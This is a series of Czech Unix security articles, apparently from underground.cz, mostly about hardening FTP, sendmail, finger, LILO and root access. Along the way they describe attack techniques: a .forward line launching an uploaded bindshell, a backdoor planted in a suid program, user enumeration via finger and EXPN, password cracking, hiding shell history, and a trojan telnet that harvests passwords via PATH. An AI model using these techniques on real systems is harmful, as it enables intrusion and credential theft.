Níže uvedený text pochází ze serveru www.underground.cz

 

 

více rootů na jednom počítači

 

často je třeba dát přístup k rootovským právům i nějakému obyčejnému člověkovi, třeba pokud administrujeme pouze systéma někdo jiný má být administrátor kont. to znamenají jistou možnost, že se k rootovským právům nějak dostane někdo nepovolaný, kdo třeba nezná jiný příkaz než rm-rf/ (čáry máry a všechno je fuč)

rozebereme nyní bezpečnost více administrátorů jednoho počítače. dát někomu klíč k rootovi znamená mu bezmezně věřit a důvěřovat. nesmí to být člověk, který se rootem bude chlubit u piva a po desátém kousku ho nadšeně sdělí všem sousedům. heslo má zůstat v jeho hlavě, takže by ho neměl zapisovat na papír, do souboru, na klávesnici nebo podobně. také by heslo neměl sám od sebe měnit a vůbec by se měl tvářit, jako že roota nemá.

je-li třeba zpřístupnit rootovská práva ještě člověku, mající konto třeba franta, můžeme to udělat několika způsoby. předně mu můžeme říct rootovské heslo, ale musíme si dávat pozor na směrové mikrofony cia a podobných organizací. pokud mu ho pošleme mejlem, měli bychom se nejprve ujistit, že k jeho mejlům nemá přístup někdo další. pokud mu řekneme v talku nebo jiné počítačové komunikaci, musíme se ujistit, že mu někdo nekouká přes rameno, že si heslo nenapíše na papír a že ho sdělujeme pomocí kryptované komunikace, před sniffry si člověk dnes není jistý nikde.

jiná možnost je nainstalovat sudo. franta potom nemusí znát heslo na konto root, stačí mu heslo vlastní. příkazem sudo-s se potom dostane na rootovský shell po zadání svého vlastního hesla. seznam lidí s přístupem na roota a jejich možnosti se dají vymezit v souboru /etc/sudoers, které může číst jen a pouze root, nikdo tedy neví, kdo má a kdo nemá přístup na roota.

úplně jiná možnost je zkopírovat nějaký shell a nastavit mu suid bit. dále je třeba zamezit spouštění tohoto nového shellu všem, povolíme ho pouze některé skupině, kterou založíme a do které připíšeme všechny, komu věříme. každý z nich dá potom příkaz řekněme /bin/rootshell a je to.

každá z popisovaných možností má své pro a proti. první možnost je zřejmě nejjednodušší, ale nevýhoda spočívá v tom, že pokud měníme heslo, musíme ho říci všem, tedy znovu opatrnost se sdělováním hesla. druhá možnost (sudo) je této nepříjemné vlastnmosti ušetřena, ale na druhou stranu dostane-li se někdo k heslu a zkusí si sudo, máme po hehe. a navíc se mi na příkazu sudo nelíbí, že sem tam občas heslo ani nechce. člověk, který heslo očekává, napíše po paměti sudo, pak heslo a hle! heslo je čitelné na obrazovce. a co se týče třetí možnosti, ať už je spouštění suid shellu jakkoliv zabezpečené, stačí ten program jen najít, třeba použitím find / -perm 4000 -print a spustit. ochrana proti tomu by byla zabudovat backdoor již do nějakého suid programu, třeba do traceroute. spustí-li se traceroute s přesně definovaným parametrem, řekněme traceroute blebleble, naskočí nám rootovský shell. nevýhoda ? stejná jako u sdělování hesla, až to někomu budete říkat, dávejte pozor, kdo poslouchá nebo kdo se dívá na monitor.

a jaký způsob je nejbezpečnější ? žádný. a proč ? zadívejte se pozorně do tváří všech, kteří mají přístup k vašemu rootu. můžete opravdu bezmezně věřit, že heslo nebo způsob, jak přijít k rootu, z nich nikdo nikdy nedostane ?

 

 

Jak nastavit FTP deamona aby nemohl user prochazet celým stromem.

v tomto článku si řekneme něco k často žádané konfiguraci wu-ftp serveru pro uživatele s omezenými pravy. cílem takového nastavení je, aby uživatel po nalogování viděl pouze svůj adresář a nemohl si stáhnout třebas passwd nebo něco podobně cenného.

nejdříve trochu teorie. wu-ftpd rozlišuje tři třídy uživatelů: real (běžný uživatel, který se loguje pomocí jména a hesla), guest (uživatel, který potřebuje jméno a heslo, ale má omezené pravomoce) a anonymous (anonymní uživatel je nikdo, noone, nic nesmí a nemůže). způsob jakým dosáhneme omezení práv by měl být bystrému čtenáři už jasný - uživatele zařadíme do třídy guest.

jako první krok založíme skupinu uživatelů v /etc/group, nazvěme ji třeba clients. do souboru /etc/ftpaccess přidáme řádek

guestgroup clients

čímž přiřadíme členy unixové skupiny clients do ftp třídy guest.

další nastavení již musíme opakovat pro každého usera. jako shell nastavíme třebas /bin/ftponly (dobrý trik je tento soubor linknout na /usr/bin/passwd, pak si uživatel může změnit heslo po přihlášení telnetem [uff! telnet rulez]). předpokládám, že je /bin/ftponly uveden v /etc/shells, jinak to nebude fachat.

jako domovský adresář uživateli nastavíme /home/franta/./, sledujte tu tečku, je tam důležitá, podle ní pozná wu-ftpd kam má provést chroot.

a teď pozor, přichází to nejdrsnější. tam kam ukazuje tečka v /etc/passwd, tam musíme zkopírovat hafo souborů. dost si usnadníme život, když prostě okopírujeme strukturu domovského adresáře anonymního ftp uživatele, většinou /home/ftp. zkusme tedy příkaz cp -dpr /home/ftp/* /home/franta. ještě upravte ~franta/etc/passwd - aby se franta vůbec poznal, přidejte jeho uid, však na to přijdete - a je vymalováno. když se teď přihlásíte jako franta, vidíte pouze svůj domovský adresář a nic jiného.

ovšem pozor, cesta jak se dostat z okovů chroot a dokonce jak získat interaktivní shell pořád ještě existuje, nepočítejte s tím, že zavedením chroot prostředí je váš server bezpečný. návod jak více zabezpečit ftp si přečtěte příští týden.

 

Neco dalsiho o zabezpeceni FTP

 

v minulém díle jsme se naučili nastavit ftp chroot, aby uživatel viděl pouze svůj vlastní adresář a nemohl se dostat jinam. naše cesta za bezpečnějším ftp ale nekončí, protože existuje ještě několik věcí na které si budeme muset dát pozor.

pokud na doručování pošty používáme sendmail nebo jiný program umožňující spouštění programů ze souboru .forward, může každý uživatel jednoduše získat interaktivní shell. stačí, aby si uploadnul program, který spustí shell na nějakém vysokém portu (například bindshell, k dostání v arxivu), do souboru .forward dal něco jako "|/home/franta/bindshell &" a poslal si e-mail. vzápětí se může natelnetit a má dveře do systému dokořán.

nepomůže ani vymyšlení nějakého obskurního názvu domovského adresáře v naději že ho uživatel nezjistí. zkusili jste někdy telnet na port 21, zalogovat se příkazy user franta a pass heslo a pak napsat příkaz cwd bez argumentů?

nepomůže ani zákaz příkazů chmod v naději, že se uživateli nepodaří nastavit právo na spuštění. není totiž pro něj napsat si skript, který práva přidělí, a ten spustit voláním sh skript.

samozřejmě vám řekneme co skutečně pomůže. pomůže například instalace programu sendmail restricted shell, který najdete zde. instalaci provedete pomerne snadno, stáhnete zdrojáky, v souboru smrsh.c upravíte řádky

 

#define cmddir "/usr/adm/sm.bin"

#define path "/bin:/usr/bin:/usr/ucb"

 

 

na něco rozumného, pak obligátní make a make install. v souboru /etc/sendmail.cf změňte řádek s definicí shellu.

původní řádek:

 

 

mprog, p=/bin/sh,

 

 

nový řádek:

 

 

mprog, p=/cesta/k/smrsh,

 

 

 

 

smyslem je, že po restartu sendmailového démona nebudou uživatelé schopni spouštět programy z .forward souborů, pokud jim to nepovolíte nalinkováním programu do adresáře definovaného direktivou cmddir.

teprve po nastavení chroot a instalaci smrsh můžeme prohlásit, že náš ftp server je relativně bezpečný. (předpokládám, že víte o nedávno objeveném buffer overflow a již jste řádně upgradli vaše wu-ftpd!)

 

Neco o programu finger

o spamu toho bylo napsáno již hodně. nechtěná pošta, většinou reklamního charakteru, nám pomalu, ale jistě, zasírá mejlboxy. dnes už je s touto nepříjemnou vlastností internetu asi většina lidí smířena. prostě dostanou mejla, tak ho smažou. ale jak vlastně odesílatel spamu získá emajlovou ardesu člověka, kterému reklama došla ? jak se bránit ? jak uchránit data o uživatelích serveru ?

před nějakým časem říkala jistá slečna ve zpravodajství české televize, že proti spamu se lze bránit nastavením schránky. to si dost dobře nedokážu představit, ani nevím, co myslela slovem schránka, ani souslovím nastavení schránky. no, možná v nějakém pseudosystému s pseudoklientem. myslím, že mnohem důležitější a jednodušší, než zkoumat, jaký mejl od koho s jakým subjektem přišel, je předcházení obdržení takového spamu, tj. neříkat spamerovi (člověk posílající spamy) mojí (nebo cizí) emajlovou adresu.

jednou z možností, jak získat nějakou emaijlovou adresu, je prohlížení www stránek. nějaký spamerův robot prohlídne libovolné stránky a pokud vidí třeba nějaký odkaz, který začíná slovem 'mailto' (například takovýto), má adresu v hrsti. proti tomu se asi ubráníme těžko. ale takto se velký počet adres získat nedá, nanejvýš adresy pár webmasterů nebo lidí, kteří stránky vytvářejí, a lidí s emajlovou adresou existuje určitě několikanásobně více. dalšími možnostmi, jak získat emajly, jsou špatně nastavený fingerdémon.

nejprve tedy finger. máte-li nainstalován nějaký starší finger, stačí zadat na servr dotaz asi takovýto: finger a@server.nekde.cz a vysledek jsou všichni uživatelé serveru, kteří v sobě mají písmeno 'a', tedy např. 'franta', 'jarda', 'pepa' ... no a pokud se takto projede půl abecedy u serveru se stovkou uživatelů, dá se říct, že velká většina byla odchycena. možná, že úplně stačí samohlásky. novější fingerdémoni už naštěstí vyhazují hlášku 'a: user not found', ale u serverů, kde je často nalogováno více lidí najednou, stačí dát pouze finger @stroj.tamdle.cz a už víme kdo je připojen, od kdy, odkud, na jaké konzoli, jeho username, jeho idle ... ale teď nás vlastně zajímá ten emajl :-)

samozřejmě je jednou z možností obrany proti takovmu získávání adres úplně zakázat finger a povolit ho pouze z localhostu nebo z domény. ostatně, kdo bude chtít seznam uživatelů, dá si jednoduše cat /etc/passwd|awk -F : '{prin $1}' ... ale mnohem záškodnější je vracet falešná data. toho lze docílit velice jednoduše. do douboru /etc/hosts.deny připíšeme zhruba toto:

 

 

in.fingerd: ALL: banners /directory

 

 

nezapomeňte enter na konci řádku. potom vyeditujeme soubor /directory/in.fingerd. kdokoliv se potom pokusí server vyfingerovat, dozví se pouze obsah tohoto souboru. v souboru může být třeba napsáno jdi do hajzlu nebo například loguji pokus o finger ze stroje tvuj.pocitac.cz. toho se dosahne tim, ze do souboru /directory/in.fingerd dáme větu loguji pokus o finger ze stroje %h. tím jsme ale nic nezaškodili, může být dobré nechat si výpis funkčního fingeru uložit do souboru a tam zeditovat usery, potom se snad mejly poslané na takovou adresu vrátí odesílateli. finger dále můžeme nechat povolený třeba z naší doměny, pokud do /etc/hosts.allow dáme

 

in.fingerd: .domena.cz, nejaky.stroj.com

 

 

samozřejmě se dá tímto způsobem zakázet nebo zmanipulovat i jiná služba, například in.telned, více informací se dá získat třeba přečtením manuálu k hosts.allow (man hosts.allow).

v každém případě ale není dobré finger úplně povolovat. ostatně, co je komu do toho, kdo všechno má u mě konto ?

 

 

Neco o hackovani sendmailu

 

v dnešním díle seriálu o bezpečnosti pro vás máme krátký návod, jak zajistit větší privátnost dat o svých uživatelích.

mnoho uživatelů používá soubor .forward k přesměrování pošty na jinou adresu. přesměrování může také nastavit root v souboru /etc/aliases. k čemu to může být? kromě praktického přesměrování pošty na konto, které prostě jen využíváme častěji to může mít i jiné důvody - například utajení identity. divili byste se, kolik lidí si nechalo zřídit mail alias v doméně parlament.cz s jiným názvem než je jejich občanské jméno.

těmto lidem by se asi nelíbilo, kdyby kdokoliv mohl odhalit jejich pravou identitu. vždyť zjistit na jakou adresu je dotyčná schránka přesměrována je u špatně nastavených systémů otázkou několika příkazů. sledujte:

 

 

bart$ telnet 0 25

Trying 0.0.0.0...

Connected to 0.

Escape character is '^]'.

220 bart.underground.cz ESMTP Sendmail 1.2.3; 12 Apr 2024 12:00:17 +0200

VRFY franta

250 franta <franta@underground.cz>

EXPN franta

250 franta <mirek@corporate.net>

QUIT

221 bart.underground.cz closing connection

Connection closed by foreign host.

 

 

příkazem EXPN jsme zjistili, že franta se ve skutečnosti jmenuje mirek a že je to houby undergrounďák, že vlastně pracuje pro nadnárodní korporace.

jak by se mohl mirek bránit proti podobným sabotážím své virtuální identity? pokud je na serveru použit systém Sendmail, pak je to velice jednoduché. stačí donutit roota, aby ve svém oblíbeném editoru otevřel soubor /etc/sendmail.cf, našel řádku PrivacyOptions. tento parametr je v defaultní instalaci nastaven na authwarnings, což změníme na goaway. session potom vypadá následovně:

 

bart$ telnet 0 25

Trying 0.0.0.0...

Connected to 0.

Escape character is '^]'.

220 bart.underground.cz ESMTP Sendmail 1.2.3; 12 Apr 2024 12:04:12 +0200

VRFY wolf

252 Cannot VRFY user; try RCPT to attempt delivery (or try finger)

EXPN wolf

502 Sorry, we do not allow this operation

QUIT

221 bart.underground.cz closing connection

Connection closed by foreign host.

 

 

Neco o lusteni hesel

jeden z možných a velmi častých způsobů, jak dostat na libovolném serveru práva někoho jiného, je nějak získat jeho heslo. je-li ten někdo nerozumný, a loguje se z dálky telnetem, ftpckem nebo nějakým jiným lehce odchytnutelným způsobem, nedá se potom divit, že má k jeho kontu přístup kdekdo. jak je ale možné, že se někdo k heslu přesto dostane ? je zde ještě jedna možnost - heslo rozkódovat.

jak asi každý správce linuxového serveru ví, hesla jsou v souboru /etc/passwd, jehož řádky mohou mít takovýto formát:

 

 

userid:passwd:uid:gid:userinfo:homedir:shell

 

 

vidíme-li passwd ve tvaru iDvAXTyeqyL6w nebo podobném, je otázkou času, kdy kdo zkusí heslo rozkódovat, protože práva na čtení souboru /etc/passwd má každý uživatel. naštěstí moudří lidé vymysleli věc, která tyto zakódované řetězce dá jinam, do souboru /etc/shadow, který je čitelný pouze pro roota a do /etc/passwd dá na místo passwd hvězdičku nebo x.

a jak se vlastně vytvoří onen zakódovaný řetězec ? řetězec se skládá ze dvou částí, první 2 znaky tvoří tzv. salt, jakýsi klíč. zbylých 11 znaků je už opravdu zakódovaný řetězec. při kódování hesla se vezme řetězec, náhodně se vyberou 2 znaky (a-z, A-Z, 0-9, tečka nebo lomítko) a podle nich se jakýmsi zázračným :-) nevratným mechanizmem získá zbytek. stále to samé heslo je tedy možné zakódovat 4096 způsoby. vrátíme-li se k našemu řetězci iDvAXTyeqyL6w, tvoří písmena iD salt a vAXTyeqyL6w je heslo zakódované podle saltu. jak již bylo řečeno, mechanizmus je nevratný, zřejmě proto, aby bylo těžší původní řetězec získat. opravdu to není jednoduché, protože heslo se musí stále hádat, dokud se neuhodne. ověřuje-li nějaký program heslo, vezme si salt ze zakódovaného hesla a použije ho při kódování hesla, které chce ověřit. shoduje-li se nyní zakódované heslo s již známým, je vše v pořádku. pro příklad zkusím uhádnout heslo, které by mohlo být v našem řetězci, zkusím třeba qwerty. vezmu tedy salt iD a získám iDy8zeWUBe5lE. je tedy zřejmé, že heslo qwerty je špatně a nezbývá než hádat znovu.

když už je to tedy tak složité, nač je dobré ty zakódované řetězce schovávat ? to je přeci jednoduché, stačí si udělat program, který bude zkoušet jedno heslo za druhým, dokud ho netrefí. úspěšnost hádání je dost závislá na hesle. například dá-li si někdo heslo disketa, jedná se o tzv. slovníkové slovo. člověk, který chce hádat heslo, si zcela jistě opatří alespoň několikaset kilobajtový seznam českých slov (nebo anglických, slovenských ..) a zkouší jedno po druhém. pak je získání hesla otázkou rychlosti a možností počítače. také není dobré mít heslo o něco málo jiné než je userid, například dá-li si uživatel franta heslo franta1 nebo FRantA, poradí si s ním nejmodernější dekodéry snadno, stejně jako se systematickými hesly typu qwerty nebo 123456. jaké heslo je tedy dobré a jaké ne ? nejprve si musíme uvědomit možnosti kódovacího mechanizmu - on totiž více než 8 znaků nezvládne. je tedy jedno, máme-li heslo qwerty12345 nebo qwerty12poi, obojí se zakóduje stejně. jinak můžeme použít kterýkoliv znak na klávesnici, pokud víme, že se nebudeme logovat ze stroje, na kterém česká, ruská nebo maďarská klávesnice. vyloučíme tedy hesla typu okololesapolepanjedevsirylan (nedávno heslo jakéhosi admina na jednom nejmenovaném strahovském bloku), paznaková hesla jako @*%yŠéÜ, systematická hesla, slova ze slovníku, hesla podobná jakýmkoliv nám známym informacím (rodné číslo, příjmeni pozpátku ..) a jména našich sexuálních přítelkyň (nebo přátel). posledně jmenované především. zbydou nám potom nádherná bezpečná hesla jako MvezKYbo nebo 6tPrqRLE :-))) ne, že by nešly dekódovat zkoušením všech možných kombinací, ale takový postup po spočítaní potřebného času odradí téměř každého ( známý mi loni říkal, že mám na jeho počítači asi dobré heslo, protože ho jeho program zkoušel dekódovat 2 týdny ... potom vypli elektriku) také je nezapomeneme měnit pokud možno každý den nebo hodinu, můžete třeba použít následující program, který vám vygeneruje bezpečné heslo zcela náhodně z malých písmen:

 

 

 

 

#include <stdio.h>

#include <stdlib.h>

rnd(int die) {

int r,max=(RAND_MAX/die)*die-1;

while((r=rand())>max);

return(r%die+1);

}

main() {

int i;

char possibles[100];

srand((int)time(NULL));

sprintf(possibles,"abcdefghijklmnopqrstuvwxyz");

for(i=0;i<8;i++)

printf("%c",possibles[rnd(strlen(possibles))]);

printf("\n");

}

 

 

dávat si takové heslo je samozřejmě blbost, nikdo si ho nebude pamatovat. zvolme si proto heslo lehce zapamatovatelné a pokud možno co nejméně dekódovatelné.

a za domácí úkol si zkuste rozkódovat řetězec, u kterého jsme se o to již jednou pokoušeli - iDvAXTyeqyL6w .... prvních pět vyhrává zájezd do /dev/null

 

 

boot - paranoia

 

počítač se dá zabezpečit proti útokům zvenčí, dá se zabezpečit i proti útokům zevnitř, jak je to ale s útokem z terminálu, s útokem, který provádí člověk, jež má přímo přístup ke klávesnici, vedoucí ze serveru ?

jednou z možností, jak zabránit cizím lidem dostat se k jakýmkoliv datům v počítači, je zaheslovat bios ;-)) což ovšem není dobrý nápad, pokud potřebujeme funkčnost počítače alespoň 28 hodin denně. při představě, že vypnout ve 2 ráno elektriku nebo nás přejede auto, se počítač prostě zastaví při bootu. to je očividně špatné řešení.

na(ne)štěstí, máme zde lilo, linux loader. boot manager mající velké schopnosti. kromě toho, že díky němu můžeme bootova do více systémů na různých partition nebo do jednoho systému s různými s jádry, má navíc možnost heslování. je zde možnost zaheslovat bootování globálně, nebo jednotlivé systémy a image jednotlivě, to záleží pouze na umístění řádky ...

 

password=qwerty

 

 

... v /etc/lilo.conf. často je ale k vidění systém, kde je lilo.conf čitelné pro všechny, takže si stačí heslo přečíst a jedem. nesmíme tedy zapomínat buď na chmod 600 /etc/lilo.conf nebo po příkazu lilo znovu vyeditovat lilo.conf a heslo změnit ;-) bez násleného použití příkazu lilo.

zdálo by se tedy, že je vše v pořádku, zaheslujeme si každou možnou image na bootování, znemožníme userům si heslo číst nebo jim podtrčíme falešné heslo.

heslování lila se nám může zdát dost zbytečné, vždyť aby se někdo dostal do systému, musí znát login a heslo,a aby se dostal k rootu, je třeba znát ještě heslo na roota. ale v případě nezaheslovaného lila je možné se dostat k rootu použitím single user modu. ten je v systému pro případ nejvyšší nouze, kdy se se systémem něco stane, kdy potřebujeme, aby v systému běželo co nejméně věcí, aby se mohly např lehce opravovat harddisky nebo z jiného důvodu. do něj se za běhu počítače přepneme příkazem init 1, při bootu tím, že jako parametr pro image použijeme S. tedy máme-li hlavní imagi nazvanou třeba linux-2.2.17 (nepředbíham trochu ?), bude lilo při bootu vypadat asi takto

 

LILO boot: linux-2.2.17 S

 

 

tím pádem počítač nabootuje do single user modu, jehož jediným ovládacím prostředkem je jeden rootovský shell. bez hesla. volně přístupný.

jak tomu zabránit ? do /etc/lilo.conf stačí připsat ještě řádku restricted. opět funguje jak globálně, tak se dá nastavit zvlášť pro jednotlivé image. tento parametr způsobuje, že heslo je vyžadováno pouze v případě, že v promptu lila se zadává jakýkoliv parametr navíc.

i když na druhou stranu ... nebylo by jednodušší umístit počítač v protiatomovém krytu za existenci jediného klíče ?

 

 

 

anonymní ftp a upload

 

nejpopulárnější a nejrozšířenější distribucí linuxu je v poslední době redhat. pomalu, ale jistě se system packagů (rpm) prosazuje stále víc a víc. většina linuxových projektů distribuje svoje programy vedle klasických zdrojáků i jako rpm binárky. to má bezpochyby velké výhody - člověk rovnou stáhne příslušné rpmko pro svůj systém a jedním příkazem má program (knihovnu, font, atd.) nainstalovaný. hlavní nevýhoda je v tom, že každý systém je tak trošku jiný a hodně věcí, které se při klasickém kompilování dají odchytit, může u rpmek způsobit problémy.

takový potenciální problém existuje u rpmka anonftp. jde o jednoduchý package, který zkopíruje potřebné pro anonymní přístup programy a knihovny do /home/ftp, stejně jako ořezané verze passwd a group. práva, které se nastavují u adresářů a souborů, se zdají v pořádku:

d--x--x--x 2 root root 1024 květen 1 14:56 bin

d--x--x--x 2 root root 1024 květen 8 01:26 etc

drwxr-xr-x 3 root root 1024 květen 17 23:48 lib

dr-xr-sr-x 3 root ftp 1024 květen 13 23:13 pub

pokud práva takto zůstanou, je to v pořádku. problem nastane, když admin dovolí grupě ftp zapisovat do adresáře /pub, což není něco zas tak neobvyklého. v redhatu ale implicitně ke každému uživateli existuje skupina se stejným jménem, do niž uživatel patří. nedělají vyjímku ani "virtuální" konta jako bin, daemon, sys atd. mezi nima patří i uživatel ftp:

/etc/passwd --> ftp:x:14:50:ftp user:/home/ftp:

/etc/group --> ftp::50:

jinými slovy, anonymni uživatel ftp bude moct zapisovat do adresáře /pub. a to je ovšem průser, viz článek o wu-ftpd. v závislosti na potřebě navrhuju dvě řešení:

•nepotřebujete aby někdo vám uploadoval soubory. v tomto případě doporučuju pro adresář /pub vlastníka a grupu root a nastavit práva 755.

•chcete aby nekdo jiný než root mohl zapisovat do adresáře pub. v tomto případě přidejte uživatele ftp do jiné grupy než ftp, např. nobody. do grupy ftp přidejte pouze uživatele, který bude mít právo na zápis, např. ftpadmin. pak už můžete nastavit práva adresáře /pub na 2775 (drwxrwsr-x). setgid bit se nastavuje, aby veškeré soubory a adresáře vytvářeny uvnitř adresáře /pub byly přiřazené skupině ftp. pokud lidem co budou uploadovat nevěříte, řešením je vytvoření adresáře se speciálníma právama, kam bude zápis povolen. je to obvykle adresář /incoming nebo /pub/incoming. naprostá většina anonymních serverů s incomingem má tento adresář nekorektně vytvořený. nejlepší je vytvořit /pub/incoming s vlastníkem ftp, skupinou ftp a právama 270, ale musí platit výše uvedené předpoklady, a to - uživatel ftp nesmí patřit do skupiny ftp a také zákaz příkazu chmod v /etc/ftpaccess. v tomto případě smí anonymní uživatel pouze zapisovat do adresáře, ale nemůže v něm listovat. abychom si byli jistí, že nikdo z toho adresáře nebude stahovat soubory musíme zajistit, aby uploadované soubory patřily jinému uživateli, např. root. to můžeme udělat když přidáme do /etc/ftpaccess například následující řadky:

upload /home/ftp * no

upload /home/ftp /pub/incoming yes root ftp 0660 nodirs

takto lze zapisovat jen do adresáře pub/incoming. uploadované soubory budou mít vlastníka root, skupinu ftp a práva 0660 (rw-rw----). vřele doporučuju zakázat vytváření adresářů (nodirs), hlavně kvůli bezpečnostní díře v wu-ftpd, o které jsme psali nedávno.

 

i v obou případech ale musíme dávat pozor s jakýma právama tvoříme soubory a adresáře uvnitř /pub.

výše uvedený návody se můžou někomu zdát triviální, ale fakt je, že hodně spravců na to kašle a to by se jim nemuselo vyplatit. paranoia nikdy neni zbytečná :).

 

Root z dálky

 

často je nutné dostat se k právům roota ne z localhostu, ale odněkud odjinud. v době, kdy administrátor počítače odjede někam na pařbu na druhý konec republiky, nastávají obvykle problémy, které je třeba vyřešit na rootovské úrovni, třeba vyrobit nové jádro, restartovat nějakého démona a podobně. potom musí jít administrátor k nejbližšímu počítači připojenému na internet a z dálky se pokusit dát všechno do pořádku. jak moc je to ale bezpečné ?

roota musíme bránit jako oko v hlavě. z toho vyplývá, že se nebudeme logovat telnetem, rloginem, ftpčkem nebo podobnými lehce odsniffnutelnými protokoly, a zaměříme se na něco jako ssh. budeme doufat, že na počítači, který pravděpodobně není úplně pod naší kontrolou a roota tam má někdo jiný, neběží ttysnoof (program, který běží pod rootem a odchytává to, co je vidět na konzoli) nebo nějaký sniffer klávesnice (který zapoisuje někam každý úhoz do klávesnice), a prostě se přilogujeme.

nyní jde o to, jestli se přilogovat přímo na roota nebo nejprve na své normální konto a potom se k rootovi dostat příkazem su nebo sudo nebo nějakým backdoorem, to už je vcelku jedno. většina lidí se loguje na dálku přímo na roota a myslí si, jak jsou v pohodě. omyl.

můžeme-li důvěřovat našemu ssh-serveru, už méně můžeme důvěřovat cizímu ssh-klientovi. proč ? ssh se distribuuje v podobě zdrojáků a každý si je před instalací může přeci prohlédnout a eventuelně i zeditovat. stačí si tedy zdrojáky prohlédnout, zjistit, do kterých proměnných se ukládá jéno počítače, kam se člověk konektuje, jeho jméno a jeho heslo a ukládat do souboru. potom, konektuje-li se někdo na roota, má root na onom počítači roota v kapse.

to, že se nebudeme konektovat na roota, ale na naše konto a následně na roota, útočníkovi cestu k serveru trochu stěžuje. odchutne maximálně naše konto. má sice přístup do počítače, už ale nemusí mít přístup k rootovi, získávání roota je někdy skoro nemožné.

určitě si řeknete, že přece stačí se konektnout a jako první příkaz dát passwd. může být, ale co gdyž nejsme jediní, kdo má k rootovi přístup ? musíme potom všechny kontaktovat a říci jim o změně hesla. tedy jako nejschůdnější se jeví připojit se na vlastní nerootovské konto, pro jistotu změnit heslo, pokud se na roota připojujeme příkazem sudo, je třeba i smazat .bash_history (nebo .history nebo jiný soubor, podle toho, jaký shell používáme) a znemožnit do něj zápis, aby nebylo nic vidět ani po našem odlogování, např tím, že místo toho souboru vytvoříme adresář stejného jména nebo jednodušeji nastavíme, aby shell logoval někam do /dev/null (export HISTFILE=/dev/null nebo setenv HISTFILE /dev/null a podobně).

pokud si o majiteli počítače, z něhož se logujete, myslíte, že něčeho takového není schopen, a důvěřujete mu, je zde ještě možnost, že roota má někdo další a majitel o tom neví ...

administrujete-li nějaký počítač z dálky z cizího počítače a jste absolutně abnormání paranoidní maniak, poradíme ještě snad nejbezpečnější věc. stáhněte si zdrojáky ssh a vyrobte si vlastního bezpečného ssh klienta, kterého potom použijte.

 

falešné programy

 

co je social engineering jsme již popsali. získávání hesla přemlouváním někoho však není jediná věc, která do této oblasti spadá. ještě je zde jiná možnost oblbování, falešné programy. takový falešný program se v zásadě neliší od toho, který imituje. někdy dokonce dělá i to, co má, občas. jak takový program funguje, si ukážeme na příkladu.

nějaký vtipálek nám nějak odchytne heslo (jednou jsme použili telnet, napsali jsme si ho na papír, někdo ho odečetl při ťukání do klávesnice ...) a první, co ho napadne, bude konektnout se patrně ve 3 hodiny ráno na naše (teď už i jeho) konto a tropit v systému neplechu. získat roota se mu třeba nepodaří, tak si řekne, že by mohl alespoň nějak získat další naše konta. koukne se do naší .history a zjistí, že náš nejčasější příkaz na konektování někam jinam je telnet nekde.jin.de -l ungaunga. tedy zkusí, co to udělá, patrně něco takového

 

$ telnet nekde.jin.de -l ungaunga

Trying 192.156.384.20... :-)

Connected to nekde.jin.de.

Escape character is '^]'.

Password:

 

 

a žádost o heslo. útočník zkuší třeba abcd, což bude zcela určitě špatné heslo, a telnet ho hodí zpět do shellu. nyní si tedy útočník zjistí, kde soubor telnet na disku skutečně je, asi /usr/bin/telnet, a naprogramuje si vlastní. ten udělá to, že zkontroluje parametry, které mu byly zadány, a pokud parametry odpovídají počítači nekde.jin.de, potom se vypíše nějaké hlášky typu trying a connected a načtou se vaše úhozy do klávesnice. získaná data se uloží někam do souboru nebo se pošlou mejlem a program skončí. pokud jste zadali nějaký jiný počítač, spustí se ten správný telnet v /usr/bin. aby uživatel nepojal sebemenší podezření, bude se heslo získávat třeba v jednom případě z deseti nebo se vyrobí jiná, podobná podmínka.

nyní ještě zbývá donutit původního majitele konta, aby spustil toho upraveného telneta, ne toho nainstalovaného. maličkost, stačí vytvořit adresář třeba ~/.bin a do něj nový soubor nahrát. pak ještě v .profile upravíme proměnnou $PATH, třeba export PATH=$HOME/.bin:$PATH nebo podobně. je důležité, aby byl adresář ~/.bin jako první. nic netušící uživatel potom dá telnet a spustí se program v ~/.bin. uživatel zadá heslo a nic, je zpátky v shellu, nebo se vypíše hláška jako Peer died (unknwon error). takže si myslí, že třeba udělal nějaký překlep, spadla síť nebo něco podobného a zkusí to znovu, to už funguje, takže je vše bez problému. až na to, že na tom kontě už nebudeme sami.

takto získávat hesla může i zločinný admin nebo zločinný adminův zástupce, pracující bez adminovo vědomí ;-) ten má však práci o hodně jednodušší, protože jemu stačí upravit už telneta v /usr/bin, nejjednodušeji už při instalaci zajistí, aby všechy počítače, konta a hesla byly prostě logovány a program fungoval dál. to už uživatel skoro nemá šanci zjistit.

toto je pouze příklad, jak takové falešné programy mohou fungovat. mohou fungovat i podobně, ne zrovna tímto konkrétním způsobem. není těžké sestrojit imitaci třeba telnetu tak, aby se logovalo vždy všchno a ještě to fungovalo zdánlivě tak, jak má.

doufáte-li tedy, že root je jen jeden člověk a jemu důvěřujete, sledujte pozorně, kdo se gdy mohl nalogovat na vaše konto, a sem tam si ověčte vaší proměnnou $PATH příkazem echo $PATH. pokud patříte mezi chorobné paranoiky, před každým spuštěním jakéhokoliv programu si ho nejprve vlastnoručně zkompilujte.

 

šifrujeme data pod linuxem

nejen hackeři a počítačoví dobrodruzi se bojí o svá data. ta nejsou v bezpečí ani na víceuživatelském serveru, kde si je může přečíst přinejmenším root, ani doma, kde vám může někdo počítač ukrást. jak se bránit? nejlepší je data bezpečně zašifrovat.

pro linux existuje program CFS, což je zkratka pro crypted filesystem. umí přesně to co potřebujeme. stáhnout si ho mužete u nás na adrese http://underground.cz/download/cfs/ a zprovoznění šifrovaného souborového systému si ukážeme na příštích řádcích.

nejdříve nainstalujte dotyčný balíček, ať už z rpm nebo jinak. (démon cfsd využívá služeb RPC nfsd, takže pokud to nemáte, potřebujete ještě nainstalovat portmap a nfs.) jako další krok vytvořte adresáře /crypt a /.cfsfs, první s módem 755 a druhý s módem 000. do souboru /etc/exports přidejte volbu, která povolí připojovat kryptovaný adresář pro localhost a nezapomeňte restartovat rpc.nfsd a rpc.mountd:

/.cfsfs localhost

instalace je už skoro hotová, teď jen zbývá přidat do startovacích skriptů inicializaci kryptovaného filesystému:

 

 

cfsd && \

echo "cfsd started"

mount -o port=3049,intr localhost:/.cfsfs /crypt && \

echo "mounted crypted filesystem"

 

 

skript nyní spusťte a pokud se vám neobjeví žádná chybová hláška, uspěšně jste nainstalovali programy pro používání šifrovaného souborového systému.

